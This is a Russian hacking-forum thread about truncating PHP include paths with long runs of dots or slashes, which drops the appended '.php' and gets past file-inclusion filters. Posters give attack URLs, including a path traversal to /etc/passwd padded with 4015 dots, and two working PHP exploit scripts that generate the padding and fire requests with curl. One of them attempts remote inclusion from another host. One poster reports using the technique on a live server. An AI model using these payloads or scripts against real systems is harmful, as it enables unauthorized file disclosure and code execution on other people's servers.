ShAnKaR в этом случае полный путь из getcwd+значение переменной должны равнятся maxpathlen? чтобы обрезалось только расширение в пшп5 проще использовать конструкцию .php?file=shell.php////////[...], где кол-во / может быть равно maxpathlen, те 4096 по дефолту я правильно понял? и второй случай в пшп4 не прокатит?
ну если не ошибаюсь там еще нулевой байт добавляется поэтому maxpathlen-1, случай когда слешы после имени у меня не катят на php 4, я показывал почему, вобще чего меня спрашивать когда можно все самому проверить.
вы же ROA в конце концов уже, ну ка подняли силу духа и разобрались как в винде бага работает ), я делал просто - вставлял в спорных местах printf, компилил и выводил содержимое, итак все глубже и глубже.
обновил шапку upd: еще дополнил инфой по линуксу. Если в ваших тестах данные расходятся с моими, просьба сообщить в данной теме
a придумали бы методы обхода file_exists в никсах с несуществующей директорией/файлом. . . ЗЫ сорри, не могу принять активное участие в дискуссии, ибо в отъезде
пых четвёртой последняя версия, 2.6.18-1.2798.fc6 #1 SMP Mon Oct 16 14:37:32 EDT 2006 i686 i686 i386 GNU/Linux - не пашет.
еще одна небольшая заметка В общем, еще одна небольшая заметка, на мысль о которой натолкнула статья [Raz0r]. Итак, представим у нас есть скрипт PHP: <?php include($_GET['file'].'.php'); ?> Это просто для примера, тут пройдет и обычный инклуд с нулевым байтом (если конечно magic_quotes off), так и способ от [Raz0r]. А я вот обнаружил еще одну интересную вещь, в Виндовсе максимальное количество символов в имени файла – 240. Так, вот я подумал, а что будет, если будет конструкция вида PHP: http://test1.ru/?file=page.........................................................................................................................................................................................................................................txt PHP: include('page.........................................................................................................................................................................................................................................txt.php'); т.е. имя файла, который мы предлагаем содержит 240 символов, а ведь есть еще и .php. В общем, естественно имя файла обрезается до положенной длины, и на инклуд отправляется только PHP: page.........................................................................................................................................................................................................................................txt без .php [+] При проверке файла при загрузке на сайт, расширение будет таким, какое нужно админу! =) В нашем случае .txt [+] Во многих скриптах отсутствует проверка на длину файла [-] Привязка к ОС – Windows [-] Загружаемый файл на сайт должен иметь имя файла то же, что мы назначили, а не меняться скриптом. В общем, я еще буду экспериментировать с Linux’ом, а где это применить, думаю найдете.
Команда USH выложила в паблик свою статью, в которой подробно описан данный способ, поэтому я посчитал, что теме больше не место в РОА и попросил Grey перенести ее сюда. В этой теме много заблуждений, но все предположения ShAnKaR подтвердились. Вольный перевод статьи USH у меня в блоге: http://raz0r.name/articles/null-byte-alternative/
Блин, сегодня на практике применил эту статью , а так бы забил на тот серв с инклюдом и magic quotes on. Все работает. на локалхосте тестировал - Win XP, PHP 5.2.4 и апач 2 (денвер 3) PHP: <?php include($_GET['file'].'.php'); ?> http://localhost/testinc.php?file=favicon.ico[225 точек ] работает. а потом на удаленном серваке (Линукс, точная версия и ПО неизвестно мне) http://www.site/~papka1/papka2/Papka3/papka4/script.phtml?page=../../../../../../../../etc/passwd[4015 точек минимальное значение] работает. Респект вам всем)
Хост: nginx/0.7.31 максимальная длинна 8176 байт. Накатал минисплоит: inc.php, http://some_other_host/inc.php Code: <?php phpinfo(); ?> i_am_file_with_include.php Code: <?php include $_GET["file"] . ".php"; ?> exploit.php Code: <?php $include_file = urlencode($argv[1]); $host = "localhost"; $url = "i_am_file_with_include.php?file=$include_file"; $overflow = ""; $maxURI = 8176; $sym = "/"; for($i=1;$i<=$maxURI-strlen($url);$i++) {$overflow .= $sym;} $ch = curl_init("$host/$url$overflow"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $res = curl_exec($ch); curl_close($ch); echo $res; ?> ./php exploit.php inc.php - Работает ./php exploit.php http://some_other_host/inc.php - Не работает http://localhost/i_am_file_with_include.php?file=http://some_other_host/inc - Работает Метод пашет, только непонятно почему удаленный инклуд не происходит.
WinXP, PHP 5.2.8, Apache 2.2.11, include_path=.;C:\php5\pear Работает с < > . + / Минимальная длина строки (вместе с URL) = 280 --------------- FreeBSD 6.4, PHP 5.2.9, Apache 1.3.37, include_path=.:/usr/local/share/pear Пробовал с / и /. разных длин - не работает
Ня,с твоим скриптом я не фкурил.Вот,написал свою версию: ЗЫ: Все скрипты должны назодиться в одной папке. includer2.php PHP: <?php function dotted() { $dot = ""; for ($n = 0; $n < 500; $n++) { $dot .= chr(46); url_sender($dot); } } function url_sender($dot) { $url="http://localhost/exploiter/inc.php?file=gangsta.txt$dot"; $ua = "IE 6.0"; $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_USERAGENT,$ua); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1); $res = curl_exec($ch); if(preg_match("|Yes!|",$res,$m)) { echo "<center>Cool!</center>"; } else { echo "<center>Fuck!</center>"; } curl_close($ch); } dotted(); ?> inc.php PHP: <?php include($_GET['file'].php); ?> Киньте туда любой файлиг(Я его обозвал gangsta.txt : D).Надеюсь,кому-нибудь пригодится(Знаю-знаю - Веля плохой и многого не понимает ЗЫ: Не хватает только счётчиков,какой по счёту символ является *фатальным* )))
Пробовал до шести до 5999 точек выставлять - не помогло(хотел проинклудить файл в папке /etc/hosts). Система: Windows XP HOME (SP 2 ) Интерпретатор: PHP: 5.2.6 без Сухозиновских заплаток. Сервер: VertrigoServ v 2.21
В общем,фигня какая-то.Пробиваю расширение только файлов,которые находятся в папке с бажным скриптом. ЗЫ: Фаил инклудится уже с 204-ой точки и так по возрастающей )))
2 Велемир: Чушь не говори. Посмотри последние три страницы "Ваши вопросы по уязвимостям" - увидишь в действии, как говорится
Не знаю,о чём ты.Если ты о линке на русайт,то он не читабелен.И с чего ты взял,что мой вариант не работает ? Проверь сам - расширение режется